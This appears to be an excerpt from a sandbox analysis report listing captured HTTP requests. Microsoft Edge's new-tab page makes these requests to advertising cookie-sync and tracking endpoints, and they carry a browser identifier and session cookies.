Source: global traffic	HTTP traffic detected: GET /cksync.php?type=nms&cs=3&ovsid=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1Host: hbx.media.netConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?partner=microsoftSsp&dbredirect=true&dnt=0&gdpr=0&gdpr_consent= HTTP/1.1Host: px.ads.linkedin.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /m?cdsp=516415&c=37FD034F4FC568D43F2E16214E436968&mode=inverse&msn_src=ntp&&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.mgid.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync/msn?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mapuid?suid=37FD034F4FC568D43F2E16214E436968&sid=16&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /visitor/sync?uid=9871605be8d4b2a982914bf5c9348e7b&name=MSN&visitor=37FD034F4FC568D43F2E16214E436968&external=true&gdpr=0&gdpr_consent= HTTP/1.1Host: visitor.omnitagjs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cs/msn?id=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1Host: trace.mediago.ioConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=resriver&i=1&p=edgechrntp&l=en-us&d=bing&b=Edg&a=23f806c7-5292-45ef-a106-5a0e13b755fc&ii=1&c=6778524747806682709&bid=c3efd042-9c07-4a40-a0f5-5b1fbaf8a049&tid=edgechrntp-resriver-1&ptid=edgechrntp-resriver-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /oRTB?redirect={PubRedirectUrl}&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.inmobi.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mapuid?member=280&user=37FD034F4FC568D43F2E16214E436968;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D37FD034F4FC568D43F2E16214E436968%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https://c.bing.com/c.gif?anx_uid=$UID&Red3=MSAN_pd&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=river&i=1&p=edgechrntp&l=en-us&d=bing&b=Edg&a=65b90472-0510-406e-b224-c832b0c55177&ii=1&c=17023361848815731196&bid=c3efd042-9c07-4a40-a0f5-5b1fbaf8a049&tid=edgechrntp-river-1&ptid=edgechrntp-peekriver-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=68430e21-62d7-4fb6-ab0c-7db1512dd703; ai_session=0cANvDZ01jKAasiIQGymAl\|1736349529170\|1736349529170; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-US&title=New+tab&OCID=MNHP_U531&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Device-Memory: 8sec-ch-ua-model: rtt: 200sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "94.0.992.31"sec-ch-ua-platform-version: "10.0.0"downlink: 10sec-ch-ua-bitness: "64"ect: 4gsec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=68430e21-62d7-4fb6-ab0c-7db1512dd703; ai_session=0cANvDZ01jKAasiIQGymAl\|1736349529170\|1736349529170; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /cs/msn?id=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1Host: trace.popin.ccConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%3A%2F%2Fc.bing.com%2Fc.gif%3Fanx_uid%3D%24UID%26Red3%3DMSAN_pd%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?ssp=msn&id=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1Host: code.yengo.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D37FD034F4FC568D43F2E16214E436968%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D37FD034F4FC568D43F2E16214E436968%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?redirect=%7BPubRedirectUrl%7D&gdpr_consent=&gdpr=0&us_privacy=&gdpr_pd=&source=5&google_push=&retry= HTTP/1.1Host: sync.inmobi.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mapuid?member=280&user=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D37FD034F4FC568D43F2E16214E436968%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D37FD034F4FC568D43F2E16214E436968%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D37FD034F4FC568D43F2E16214E436968%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?entity=483&code=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fsetuid%3Fentity%3D483%26code%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=infopane&i=3&p=edgechrntp&l=en-us&d=bing&b=Edg&a=2283769c-61e3-48bd-8dc8-e87035a8fc80&ii=1&c=6778524747806682709&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-infopane-3&ptid=edgechrntp-peekinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=infopane&i=11&p=edgechrntp&l=en-us&d=bing&b=Edg&a=4cf78bc2-d1f6-4e8a-8c92-096659eac4cb&ii=1&c=14308996391598105688&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-infopane-11&ptid=edgechrntp-peekInfopane-2&t=type.msft-content-card&dec=1_6_7-1_6_7 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D37FD034F4FC568D43F2E16214E436968%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
